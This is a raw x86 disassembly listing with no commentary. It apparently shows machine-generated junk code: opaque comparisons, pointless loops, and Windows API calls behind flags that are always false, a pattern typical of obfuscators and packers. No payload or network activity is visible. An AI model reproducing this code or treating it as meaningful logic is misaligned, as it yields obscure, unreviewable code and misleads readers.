call dword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [ebp - 0x9b8], 0x1a
jmp 0x47a612
mov eax, dword [ebp - 0x9b8]
dec eax
mov dword [ebp - 0x9b8], eax
cmp dword [ebp - 0x9b8], 0xffffffe9
jg 0x47cbe7
push 2
lea ecx, [ebp - 0x261c]
call fcn.00430131
mov dword [ebp - 0xa20], 0xde2167fa
mov dword [ebp - 0x8f0], 0
jmp 0x47a64f
mov eax, dword [ebp - 0x8f0]
inc eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 2
jge 0x47a671
push dword [ebp - 0x8f0]
lea ecx, [ebp - 0x261c]
call fcn.0043021f
mov dword [eax], 0xe5596960
jmp 0x47a642
push 1
lea ecx, [ebp - 0x261c]
call fcn.0043021f
mov esi, eax
push 1
lea ecx, [ebp - 0x261c]
call fcn.0043021f
mov ecx, dword [esi]
mov dword [eax], ecx
mov dword [ebp - 0xa20], 0
jmp 0x47a6aa
mov eax, dword [ebp - 0xa20]
inc eax
mov dword [ebp - 0xa20], eax
cmp dword [ebp - 0xa20], 0xe
jge 0x47a806
mov dword [ebp - 0xb44], 9
mov dword [ebp - 0x1b88], 0x4eb4c8f0
mov dword [ebp - 0x232c], 0x4f82
push 3
lea ecx, [ebp - 0x278c]
call fcn.00430131
mov dword [ebp - 0x1de0], 3
mov dword [ebp - 0x8f8], 0
jmp 0x47a705
mov eax, dword [ebp - 0x8f8]
inc eax
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 3
jge 0x47a727
push dword [ebp - 0x8f8]
lea ecx, [ebp - 0x278c]
call fcn.0043021f
mov dword [eax], 4
jmp 0x47a6f8
cmp dword [ebp - 0xb44], 0xffffffff
jl 0x47a73c
mov dword [ebp - 0x16c0], 1
jmp 0x47a743
and dword [ebp - 0x16c0], 0
push 1
lea ecx, [ebp - 0x261c]
call fcn.0043021f
mov ecx, dword [ebp - 0x16c0]
cmp ecx, dword [eax]
jle 0x47a7e3
mov eax, dword [ebp - 0x232c]
mov dword [ebp - 0x1b80], eax
push 0
lea ecx, [ebp - 0x278c]
call fcn.0043021f
mov ecx, dword [ebp - 0x1b80]
mov dword [eax], ecx
cmp dword [ebp - 0x1b80], 6
ja 0x47a7a6
push 0
lea ecx, [ebp - 0x278c]
call fcn.0043021f
cmp dword [eax], 0
je 0x47a7a6
mov dword [ebp - 0x16c8], 1
jmp 0x47a7ad
and dword [ebp - 0x16c8], 0
mov eax, dword [ebp - 0x16c8]
mov dword [ebp - 0xb44], eax
mov eax, dword [ebp - 0xb44]
mov dword [ebp - 0x1de0], eax
mov eax, dword [ebp - 0x1de0]
neg eax
mov ecx, dword [ebp - 0x1b88]
add ecx, eax
je 0x47a7e3
mov dword [ebp - 0x16d0], 1
jmp 0x47a7ea
and dword [ebp - 0x16d0], 0
mov eax, dword [ebp - 0x16d0]
mov dword [ebp - 0x1b88], eax
lea ecx, [ebp - 0x278c]
call fcn.00430203
jmp 0x47a69d
lea ecx, [ebp - 0x261c]
call fcn.00430203
mov dword [ebp - 0x538], 0x92443250
mov dword [ebp - 0xe0], 0xa684
mov dword [ebp - 0x238], 0xffffffff
mov dword [ebp - 0x420], 0xffffffff
mov dword [ebp - 0xbe0], 0xfff7
mov dword [ebp - 0x128], 0
push 3
lea ecx, [ebp - 0x2064]
call fcn.00430131
mov dword [ebp - 0xb68], 5
mov dword [ebp - 0x1bb8], 0
mov dword [ebp - 0xb4c], 0xbf19973
mov dword [ebp - 0x26c8], 0xffffffff
mov dword [ebp - 0x2344], 6
mov dword [ebp - 0x9c0], 0
jmp 0x47a8a5
mov eax, dword [ebp - 0x9c0]
inc eax
mov dword [ebp - 0x9c0], eax
cmp dword [ebp - 0x9c0], 3
jge 0x47a8c7
push dword [ebp - 0x9c0]
lea ecx, [ebp - 0x2064]
call fcn.0043021f
mov dword [eax], 0xbb81
jmp 0x47a898
cmp dword [ebp - 0xe0], 0
je 0x47aacf
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0x16e0], 0xdf860956
mov dword [ebp - 0x1b98], 4
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2ce0], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x3318], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2ce8], eax
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0xe0], eax
jge 0x47a930
mov dword [ebp - 0x2588], 1
jmp 0x47a937
and dword [ebp - 0x2588], 0
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2fdc], eax
cmp dword [ebp - 0xd8], 1
je 0x47a958
mov dword [ebp - 0x16d8], 1
jmp 0x47a95f
and dword [ebp - 0x16d8], 0
mov eax, dword [ebp - 0xe0]
add eax, dword [ebp - 0x16d8]
cmp eax, dword [ebp - 0xe0]
jge 0x47a97f
mov dword [ebp - 0x1f28], 1
jmp 0x47a986
and dword [ebp - 0x1f28], 0
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0x1f28]
jge 0x47a9a0
mov dword [ebp - 0x2334], 1
jmp 0x47a9a7
and dword [ebp - 0x2334], 0
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2cf0], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x3208], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x16e0], 6
mov eax, dword [ebp - 0x16e0]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0xd8]
sub eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x238]
jle 0x47aa01
mov dword [ebp - 0x1de8], 1
jmp 0x47aa08
and dword [ebp - 0x1de8], 0
cmp dword [ebp - 0xd8], 0xfffffff9
jle 0x47aa1d
mov dword [ebp - 0x1b90], 1
jmp 0x47aa24
and dword [ebp - 0x1b90], 0
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x1b90]
jne 0x47aa3e
mov dword [ebp - 0x16e8], 1
jmp 0x47aa45
and dword [ebp - 0x16e8], 0
mov eax, dword [ebp - 0x16e8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x1de8]
sub eax, dword [ebp - 0x420]
mov dword [ebp - 0xbe0], eax
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0xbe0], eax
jle 0x47aa7d
mov dword [ebp - 0x16f0], 1
jmp 0x47aa84
and dword [ebp - 0x16f0], 0
mov eax, dword [ebp - 0x1b98]
add eax, dword [ebp - 0x16f0]
jne 0x47aaa4
cmp dword [ebp - 0x1b98], 0
jne 0x47aaa4
and dword [ebp - 0x16f8], 0
jmp 0x47aaae
mov dword [ebp - 0x16f8], 1
imul eax, dword [ebp - 0x16f8], 0xe70
cmp eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x128], eax
jmp 0x47ad26
mov dword [ebp - 0x530], 1
mov dword [ebp - 0x24c8], 0xa7fcf623
mov dword [ebp - 0x900], 0
jmp 0x47aafc
mov eax, dword [ebp - 0x900]
inc eax
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 2
jge 0x47ab18
mov eax, dword [ebp - 0x900]
mov dword [ebp + eax*4 - 0x2c18], 0x127b1aa4
jmp 0x47aaef
cmp dword [ebp - 0x530], 0
jne 0x47ab33
mov eax, 0xb06a83cd
test eax, eax
jne 0x47ab33
and dword [ebp - 0x1700], 0
jmp 0x47ab3d
mov dword [ebp - 0x1700], 1
mov dword [ebp - 0x128], 0xfff7
mov esi, dword [ebp - 0x128]
push 0
lea ecx, [ebp - 0x2064]
call fcn.0043021f
cmp esi, dword [eax]
je 0x47ab70
cmp dword [ebp - 0x530], 0
jne 0x47ab70
and dword [ebp - 0x1fb0], 0
jmp 0x47ab7a
mov dword [ebp - 0x1fb0], 1
cmp dword [ebp - 0x1fb0], 0xf4fd1a68
je 0x47ab92
mov dword [ebp - 0x1ba0], 1
jmp 0x47ab99
and dword [ebp - 0x1ba0], 0
mov eax, dword [ebp - 0x1700]
sub eax, dword [ebp - 0x1ba0]
cmp eax, dword [ebp - 0x530]
jg 0x47abb9
mov dword [ebp - 0xcf4], 1
jmp 0x47abc0
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0xcf4]
mov dword [ebp - 0x238], eax
mov esi, dword [ebp - 0x238]
push 0
lea ecx, [ebp - 0x2064]
call fcn.0043021f
cmp esi, dword [eax]
jg 0x47abef
mov dword [ebp - 0x1df0], 1
jmp 0x47abf6
and dword [ebp - 0x1df0], 0
mov eax, dword [ebp - 0x530]
cmp dword [ebp - 0x1df0], eax
jge 0x47ac10
mov dword [ebp - 0x1710], 1
jmp 0x47ac17
and dword [ebp - 0x1710], 0
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0x1ba8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ba8]
mov dword [ebp + eax - 0x2c18], ecx
push 2
lea ecx, [ebp - 0x2064]
call fcn.0043021f
mov ecx, dword [ebp - 0x1710]
add ecx, dword [eax]
mov eax, dword [ebp - 0x420]
imul eax, dword [ebp - 0x1ba8]
cmp eax, ecx
jne 0x47ac68
mov dword [ebp - 0x1718], 1
jmp 0x47ac6f
and dword [ebp - 0x1718], 0
mov eax, dword [ebp - 0x1718]
mov dword [ebp - 0x24c8], eax
mov dword [ebp - 0x128], 0
jmp 0x47ac94
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xb
jle 0x47ad26
mov dword [ebp - 0x1f30], 0x5f4
mov dword [ebp - 0x233c], 0x7b094c65
mov byte [ebp - 0x305], 0
movzx eax, byte [ebp - 0x305]
test eax, eax
je 0x47acd5
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
cmp dword [ebp - 0x1f30], 0xfff9
je 0x47aced
mov dword [ebp - 0x1720], 1
jmp 0x47acf4
and dword [ebp - 0x1720], 0
mov eax, dword [ebp - 0x1f30]
cmp eax, dword [ebp - 0x1720]
jge 0x47ad0e
mov dword [ebp - 0x1bb0], 1
jmp 0x47ad15
and dword [ebp - 0x1bb0], 0
mov eax, dword [ebp - 0x1bb0]
mov dword [ebp - 0x233c], eax
jmp 0x47ac87
cmp dword [ebp - 0x420], 0
je 0x47ae0d
mov esi, 0x33ff
sub esi, dword [ebp - 0xb68]
push 0
lea ecx, [ebp - 0x2064]
call fcn.0043021f
cmp esi, dword [eax]
jle 0x47ad5b
mov dword [ebp - 0x1728], 1
jmp 0x47ad62
and dword [ebp - 0x1728], 0
mov eax, dword [ebp - 0xbe0]
cmp dword [ebp - 0x1728], eax
jl 0x47ad7c
mov dword [ebp - 0x1df8], 1
jmp 0x47ad83
and dword [ebp - 0x1df8], 0
mov eax, dword [ebp - 0x1df8]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0xb68]
cmp dword [ebp - 0x238], eax
je 0x47ada9
mov dword [ebp - 0x1730], 1
jmp 0x47adb0
and dword [ebp - 0x1730], 0
mov eax, dword [ebp - 0x1730]
sub eax, dword [ebp - 0xe0]
mov dword [ebp - 0x1bb8], eax
mov eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x1bb8]
cmp eax, dword [ebp - 0xb4c]
jge 0x47ade3
mov dword [ebp - 0x1738], 1
jmp 0x47adea
and dword [ebp - 0x1738], 0
mov eax, dword [ebp - 0xb4c]
cmp dword [ebp - 0x1738], eax
jge 0x47ae0d
cmp dword [ebp - 0xb4c], 0
je 0x47ae0d
mov dword [ebp - 0x1fec], 1
jmp 0x47ae14
and dword [ebp - 0x1fec], 0
push 1
lea ecx, [ebp - 0x2064]
call fcn.0043021f
mov ecx, dword [ebp - 0x1fec]
cmp ecx, dword [eax]
jl 0x47ae37
mov dword [ebp - 0x1740], 1
jmp 0x47ae3e
and dword [ebp - 0x1740], 0
mov eax, dword [ebp - 0x1740]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x26c8]
cmp dword [ebp - 0x128], eax
jge 0x47ae6a
cmp dword [ebp - 0xb68], 0
jne 0x47ae6a
and dword [ebp - 0x1bc0], 0
jmp 0x47ae74
mov dword [ebp - 0x1bc0], 1
mov eax, dword [ebp - 0x1bc0]
sub eax, dword [ebp - 0x2344]
cmp eax, dword [ebp - 0xe0]
jge 0x47ae94
mov dword [ebp - 0x1748], 1
jmp 0x47ae9b
and dword [ebp - 0x1748], 0
mov eax, dword [ebp - 0x420]
cmp eax, dword [ebp - 0x1748]
jge 0x47aeb5
mov dword [ebp - 0x1e00], 1
jmp 0x47aebc
and dword [ebp - 0x1e00], 0
cmp dword [ebp - 0x1e00], 0x772679f1
jge 0x47aed4
mov dword [ebp - 0x1750], 1
jmp 0x47aedb
and dword [ebp - 0x1750], 0
mov eax, dword [ebp - 0x1750]
mov dword [ebp - 0x420], eax
lea ecx, [ebp - 0x2064]
call fcn.00430203
cmp dword [ebp - 0x538], 0
je 0x47b7ae
mov dword [ebp - 0x94], 0x25260
push 2
lea ecx, [ebp - 0x2980]
call fcn.00430131
push 1
lea ecx, [ebp - 0x2b0c]
call fcn.00430131
mov dword [ebp - 0x234c], 0x4469
mov dword [ebp - 0x2590], 0xffffffff
mov dword [ebp - 0x210], 0
jmp 0x47af50
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x47af6f
push dword [ebp - 0x210]
lea ecx, [ebp - 0x2980]
call fcn.0043021f
and dword [eax], 0
jmp 0x47af43
mov dword [ebp - 0x210], 0
jmp 0x47af88
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jge 0x47afaa
push dword [ebp - 0x210]
lea ecx, [ebp - 0x2b0c]
call fcn.0043021f
mov dword [eax], 0xc321
jmp 0x47af7b
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1bc8], eax
push 1
lea ecx, [ebp - 0x2980]
call fcn.0043021f
mov ecx, dword [ebp - 0x1bc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1bc8], eax
jg 0x47afe5
mov dword [ebp - 0x1780], 1
jmp 0x47afec
and dword [ebp - 0x1780], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x94], eax
je 0x47b006
mov dword [ebp - 0x1758], 1
jmp 0x47b00d
and dword [ebp - 0x1758], 0
mov eax, dword [ebp - 0x94]
add eax, dword [ebp - 0x1758]
jne 0x47b02d
mov eax, 0x50f6
test eax, eax
jne 0x47b02d
and dword [ebp - 0x24d0], 0
jmp 0x47b037
mov dword [ebp - 0x24d0], 1
cmp dword [ebp - 0x94], 0x5d177cce
jge 0x47b04f
mov dword [ebp - 0x1f38], 1
jmp 0x47b056
and dword [ebp - 0x1f38], 0
mov eax, dword [ebp - 0x1f38]
add eax, 0x764ce34a
cmp eax, dword [ebp - 0x94]
jne 0x47b075
mov dword [ebp - 0x1760], 1
jmp 0x47b07c
and dword [ebp - 0x1760], 0
cmp dword [ebp - 0x1760], 0xa0cd95f
jg 0x47b094
mov dword [ebp - 0x1bd0], 1
jmp 0x47b09b
and dword [ebp - 0x1bd0], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1bd0], eax
jg 0x47b0b5
mov dword [ebp - 0x1768], 1
jmp 0x47b0bc
and dword [ebp - 0x1768], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1768], eax
jge 0x47b0d6
mov dword [ebp - 0x1e08], 1
jmp 0x47b0dd
and dword [ebp - 0x1e08], 0
cmp dword [ebp - 0x1e08], 7
je 0x47b0f2
mov dword [ebp - 0x1770], 1
jmp 0x47b0f9
and dword [ebp - 0x1770], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1770], eax
jl 0x47b113
mov dword [ebp - 0x1bd8], 1
jmp 0x47b11a
and dword [ebp - 0x1bd8], 0
mov eax, dword [ebp - 0x94]
add eax, dword [ebp - 0x1bd8]
cmp eax, 0xfffffffe
jl 0x47b137
mov dword [ebp - 0x1778], 1
jmp 0x47b13e
and dword [ebp - 0x1778], 0
cmp dword [ebp - 0x1778], 0xffffffff
jle 0x47b159
cmp dword [ebp - 0x94], 0
jne 0x47b159
and dword [ebp - 0x1fb8], 0
jmp 0x47b163
mov dword [ebp - 0x1fb8], 1
mov esi, dword [ebp - 0x1fb8]
sub esi, dword [ebp - 0x94]
push 0
lea ecx, [ebp - 0x2b0c]
call fcn.0043021f
cmp esi, dword [eax]
jge 0x47b18c
mov dword [ebp - 0x1be0], 1
jmp 0x47b193
and dword [ebp - 0x1be0], 0
mov eax, dword [ebp - 0x1780]
add eax, dword [ebp - 0x1be0]
cmp eax, dword [ebp - 0x234c]
jle 0x47b1b3
mov dword [ebp - 0x1788], 1
jmp 0x47b1ba
and dword [ebp - 0x1788], 0
mov eax, dword [ebp - 0x1788]
mov dword [ebp - 0x2590], eax
lea ecx, [ebp - 0x2b0c]
call fcn.00430203
lea ecx, [ebp - 0x2980]
call fcn.00430203
mov dword [ebp - 0x1e20], 0xffffffff
mov dword [ebp - 0x9c], 0x3532
push 1
lea ecx, [ebp - 0x4e0]
call fcn.00430131
mov dword [ebp - 0x428], 9
mov dword [ebp - 0x14], 0x77cce45d
mov dword [ebp - 0x1f40], 1
mov dword [ebp - 0xa78], 0
jmp 0x47b231
mov eax, dword [ebp - 0xa78]
inc eax
mov dword [ebp - 0xa78], eax
cmp dword [ebp - 0xa78], 1
jge 0x47b253
push dword [ebp - 0xa78]
lea ecx, [ebp - 0x4e0]
call fcn.0043021f
mov dword [eax], 0x2a27
jmp 0x47b224
cmp dword [ebp - 0x9c], 0
jne 0x47b419
mov dword [ebp - 0x2928], 5
mov dword [ebp - 0x2924], 5
mov dword [ebp - 0x2920], 5
mov dword [ebp - 0x291c], 5
lea ecx, [ebp - 0xb99]
call fcn.0043022e
push eax
lea eax, [ebp - 0x2918]
push eax
lea eax, [ebp - 0x2928]
push eax
lea ecx, [ebp - 0x3488]
call fcn.00430231
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2aac]
call fcn.004301dd
mov byte [ebp - 0x3b9], 0
movzx eax, byte [ebp - 0x3b9]
test eax, eax
je 0x47b2de
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
mov dword [ebp - 0x9c], 0
jmp 0x47b2f7
cmp dword [ebp - 0x9c], 0
jg 0x47b409
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x4e0]
call fcn.0043021f
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x4e0]
call fcn.0043021f
push 2
lea ecx, [ebp - 0x2aac]
call fcn.0043021f
mov esi, eax
push 0
lea ecx, [ebp - 0x4e0]
call fcn.0043021f
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x47b354
mov dword [ebp - 0x2354], 1
jmp 0x47b35b
and dword [ebp - 0x2354], 0
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x4e0]
call fcn.0043021f
cmp dword [eax], 0xb2b534de
je 0x47b380
mov dword [ebp - 0x1e10], 1
jmp 0x47b387
and dword [ebp - 0x1e10], 0
push 0
lea ecx, [ebp - 0x2aac]
call fcn.0043021f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1e10]
je 0x47b3a7
lea ecx, [ebp - 0x2aac]
call fcn.00430203
jmp 0x47b791
mov dword [ebp - 0x1e18], 0x1da89a03
mov dword [ebp - 0x9c8], 0xffffffff
mov dword [ebp - 0x908], 0
jmp 0x47b446
mov eax, dword [ebp - 0x908]
inc eax
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 4
jge 0x47b462
mov eax, dword [ebp - 0x908]
mov dword [ebp + eax*4 - 0x3384], 0
jmp 0x47b439
mov dword [ebp - 0x9c], 0
jmp 0x47b47b
cmp dword [ebp - 0x9c], 0x1d
jle 0x47b791
mov dword [ebp - 0x910], 3
mov dword [ebp - 0x2650], 0xd2634d7f
mov dword [ebp - 0x14], 0
jmp 0x47b4ac
cmp dword [ebp - 0x14], 0xfffffffd
je 0x47b4ed
lea ecx, [ebp - 0x4e0]
call fcn.00430203
mov eax, dword [ebp - 0x1e20]
dec eax
mov dword [ebp - 0x1e20], eax
jmp 0x47cbe2
mov dword [ebp - 0x1144], 1
mov dword [ebp - 0xa28], 0
jmp 0x47b7d1
mov eax, dword [ebp - 0xa28]
inc eax
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0xa28], 3
jge 0x47b7ed
mov eax, dword [ebp - 0xa28]
mov dword [ebp + eax*4 - 0x262c], 0x25b9b55b
jmp 0x47b7c4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x262c], 3
jmp 0x47b81b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x262c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x262c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x262c], 0xd
jle 0x47b92e
push 1
lea ecx, [ebp - 0x284c]
call fcn.00430131
push 1
lea ecx, [ebp - 0x2998]
call fcn.00430131
mov dword [ebp - 0x1d8], 0
jmp 0x47b862
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 1
jge 0x47b881
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0x284c]
call fcn.0043021f
and dword [eax], 0
jmp 0x47b855
mov dword [ebp - 0x1d8], 0
jmp 0x47b89a
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 1
jge 0x47b8b9
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0x2998]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x47b88d
push 4
pop eax
shl eax, 1
mov esi, dword [ebp + eax - 0x262c]
push 0
lea ecx, [ebp - 0x284c]
call fcn.0043021f
cmp esi, dword [eax]
je 0x47b8e2
mov dword [ebp - 0xb54], 1
jmp 0x47b8e9
and dword [ebp - 0xb54], 0
push 0
lea ecx, [ebp - 0x2998]
call fcn.0043021f
mov ecx, dword [ebp - 0xb54]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x284c]
call fcn.0043021f
mov ecx, dword [ebp - 0xb54]
mov dword [eax], ecx
lea ecx, [ebp - 0x2998]
call fcn.00430203
lea ecx, [ebp - 0x284c]
call fcn.00430203
jmp 0x47b800
mov dword [ebp - 0x113c], 0
push 3
lea ecx, [ebp - 0x69c]
call fcn.00430131
mov dword [ebp - 0xa4], 0xfffffffb
mov dword [ebp - 0x1c38], 0
mov dword [ebp - 0x26a8], 0xadff402e
mov dword [ebp - 0x200], 0
jmp 0x47b97c
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 3
jge 0x47b99e
push dword [ebp - 0x200]
lea ecx, [ebp - 0x69c]
call fcn.0043021f
mov dword [eax], 0x4778
jmp 0x47b96f
mov dword [ebp - 0x200], 0
jmp 0x47b9b7
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 3
jge 0x47b9d3
mov eax, dword [ebp - 0x200]
mov dword [ebp + eax*4 - 0x33f8], 0
jmp 0x47b9aa
mov dword [ebp - 0xa4], 2
jmp 0x47b9ec
mov eax, dword [ebp - 0xa4]
dec eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jl 0x47c0bf
mov dword [ebp - 0xe8], 0xade2167f
mov dword [ebp - 0x9d0], 0xc0c8fbfc
mov dword [ebp - 0xe8], 2
jmp 0x47ba26
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x47ba52
mov byte [ebp - 0x30d], 0
movzx eax, byte [ebp - 0x30d]
test eax, eax
je 0x47ba50
push 0
push 0x1283
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
jmp 0x47ba19
mov dword [ebp - 0xe8], 2
jmp 0x47ba6b
mov eax, dword [ebp - 0xe8]
dec eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
jl 0x47c0ba
mov dword [ebp - 0x344], 0x11151
mov dword [ebp - 0x354], 0x3dc99cdf
mov dword [ebp - 0x24e0], 0
mov dword [ebp - 0x24e8], 0xffffffff
mov dword [ebp - 0x344], 0
jmp 0x47bab9
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 2
jg 0x47c0b5
push 2
lea ecx, [ebp - 0xc44]
call fcn.00430131
mov dword [ebp - 0x26f0], 4
mov dword [ebp - 0x26ec], 4
mov dword [ebp - 0x26e8], 4
mov dword [ebp - 0x26e4], 4
mov dword [ebp - 0x1820], 0xedbec151
mov dword [ebp - 0x918], 0
jmp 0x47bb1e
mov eax, dword [ebp - 0x918]
inc eax
mov dword [ebp - 0x918], eax
cmp dword [ebp - 0x918], 2
jge 0x47bb40
push dword [ebp - 0x918]
lea ecx, [ebp - 0xc44]
call fcn.0043021f
mov dword [eax], 0xfffffffe
jmp 0x47bb11
push 0
lea ecx, [ebp - 0xc44]
call fcn.0043021f
mov dword [eax], 2
jmp 0x47bb79
push 0
lea ecx, [ebp - 0xc44]
call fcn.0043021f
mov dword [ebp - 0x17d0], eax
mov eax, dword [ebp - 0x17d0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x17d0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xc44]
call fcn.0043021f
cmp dword [eax], 0
jl 0x47c0a5
mov dword [ebp - 0x1c10], 0
mov dword [ebp - 0x1c18], 0x351f4a1a
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x69c]
call fcn.0043021f
mov esi, eax
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x69c]
call fcn.0043021f
imul eax, dword [eax], 0xc3a0
cmp dword [esi], eax
je 0x47bcfd
push 0
lea ecx, [ebp - 0xc44]
call fcn.0043021f
mov eax, dword [eax]
sub eax, dword [ebp - 0xa4]
mov dword [ebp - 0x9d0], eax
mov eax, dword [ebp - 0x9d0]
sub eax, 0x8bb
jne 0x47bc1c
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x69c]
call fcn.0043021f
cmp dword [eax], 0
jne 0x47bc1c
and dword [ebp - 0x1c08], 0
jmp 0x47bc26
mov dword [ebp - 0x1c08], 1
cmp dword [ebp - 0x1c08], 0xfffe
jae 0x47bc3e
mov dword [ebp - 0x2364], 1
jmp 0x47bc45
and dword [ebp - 0x2364], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x2cf8], eax
mov eax, 0xbe26b5cf
cmp eax, 0x6c2e3a4c
jae 0x47bc69
mov dword [ebp - 0x17d8], 1
jmp 0x47bc70
and dword [ebp - 0x17d8], 0
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0x17d8], eax
jl 0x47bc99
push 1
lea ecx, [ebp - 0xc44]
call fcn.0043021f
cmp dword [eax], 0
jne 0x47bc99
and dword [ebp - 0x1f48], 0
jmp 0x47bca3
mov dword [ebp - 0x1f48], 1
mov eax, dword [ebp - 0x1f48]
neg eax
cmp eax, dword [ebp - 0x24e0]
jne 0x47bcbf
mov dword [ebp - 0x236c], 1
jmp 0x47bcc6
and dword [ebp - 0x236c], 0
mov dword [ebp - 0x354], 4
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x2fe4], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x2d00], eax
mov eax, 0xbb64
test eax, eax
je 0x47bcfd
and dword [ebp - 0x17e0], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x17e0]
mov dword [ebp + eax - 0x26f0], ecx
mov dword [ebp - 0x354], 0
jmp 0x47bd30
cmp dword [ebp - 0x354], 2
jg 0x47c0a0
mov dword [ebp - 0x34c], 0
cmp dword [ebp - 0x344], 0
je 0x47bd55
jmp 0x47c0a0
mov eax, dword [ebp - 0x1820]
cmp dword [ebp - 0x34c], eax
jg 0x47bd6f
mov dword [ebp - 0x25a0], 1
jmp 0x47bd76
and dword [ebp - 0x25a0], 0
push 1
lea ecx, [ebp - 0x69c]
call fcn.0043021f
cmp dword [eax], 0
jne 0x47bdb6
mov dword [ebp - 0x1c10], 0x3a207b8a
mov esi, dword [ebp - 0x1c10]
push dword [ebp - 0xe8]
lea ecx, [ebp - 0x69c]
call fcn.0043021f
cmp esi, dword [eax]
jl 0x47bdb6
mov dword [ebp - 0x17e8], 1
mov eax, dword [ebp - 0x34c]
cmp dword [ebp - 0x17e8], eax
jne 0x47bdda
jmp 0x47bb55
lea ecx, [ebp - 0xc44]
call fcn.00430203
jmp 0x47baac
jmp 0x47ba5e
jmp 0x47b9df
mov dword [ebp - 0xa4], 0xfffffff7
mov esi, dword [ebp - 0xa4]
push 2
lea ecx, [ebp - 0x69c]
call fcn.0043021f
imul esi, dword [eax]
push 2
lea ecx, [ebp - 0x69c]
call fcn.0043021f
cmp dword [eax], esi
je 0x47c0fc
mov dword [ebp - 0x237c], 1
jmp 0x47c103
and dword [ebp - 0x237c], 0
push 1
lea ecx, [ebp - 0x69c]
call fcn.0043021f
push 2
lea ecx, [ebp - 0x69c]
call fcn.0043021f
mov eax, dword [eax]
mov dword [ebp - 0x1c38], eax
mov eax, dword [ebp - 0x1c38]
mov dword [ebp - 0x26a8], eax
push 2
lea ecx, [ebp - 0x69c]
call fcn.0043021f
push 4
pop eax
shl eax, 1
